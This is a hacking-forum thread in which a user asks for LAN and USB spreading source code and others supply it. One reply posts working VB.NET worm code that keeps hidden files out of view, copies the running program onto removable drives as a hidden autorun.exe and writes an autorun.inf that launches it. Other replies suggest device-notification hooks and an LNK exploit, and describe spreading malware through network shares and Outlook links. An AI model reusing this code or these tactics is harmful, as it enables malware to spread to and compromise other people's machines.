Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C 

Lan spread source code ?

Anyone got Lan spread source code and usb thanks
Try expressing a coherent thought by writing intelligibly?
Code
Imports System.IO
Imports System.Windows.Forms
Imports Microsoft.Win32

Module USB

    Sub USBInfect()

  On Error Resume Next
  My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "0", RegistryValueKind.DWord)

  Dim DriveList As String() = Environment.GetLogicalDrives()
  For i As Integer = 0 To DriveList.Length - 1

    Dim di As New DriveInfo(DriveList(i))

    If di.DriveType = DriveType.Removable Then
    If Not di.IsReady = False Then
    If Not File.Exists(DriveList(i) & "autorun.exe") Then

    File.Copy(Application.ExecutablePath, DriveList(i) & "autorun.exe", True)
    My.Computer.FileSystem.WriteAllText(DriveList(i) & "autorun.inf", "[autorun]" & vbCrLf & "open=" & DriveList(i) & "autorun.exe" & vbCrLf & "shellexecute=" & DriveList(i), True)
    SetAttr(DriveList(i) & "autorun.exe", FileAttribute.Hidden)
    SetAttr(DriveList(i) & "autorun.inf", FileAttribute.Hidden)
    End If
    End If
    End If
  Next

    End Sub

End Module

Call USBInfect()
Hook the Windows API and wait for a removable device to be plugged in [below Syntax] - For something common use a LNK exploit

Code
HDEVNOTIFY WINAPI RegisterDeviceNotification(
  _In_  HANDLE hRecipient,
  _In_  LPVOID NotificationFilter,
  _In_  DWORD Flags
);

Something I tried a year or so back was to attempt and spread my malware to available network shares and then inject in to Outlook, replacing the links within hyper-linked text with the link to my malware. Only users within the domain who had access to the network (usually LAN) - some VPN users would get infected.

🤝

EDIT: OP is 4 months old, fail.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by Lithium MindMar 16, 2019 09:18 AM 30 5,789 Mar 16, 2019 09:18 AM
Last Post: Hopsin
[C#] by SIM-2646138Jul 27, 2016 10:12 AM 2 541 Jul 27, 2016 10:12 AM
Last Post: LaTortue
[.NET] by sofien ouennJun 28, 2014 03:32 AM 11 1,141 Jun 28, 2014 03:32 AM
Last Post: sofien ouenn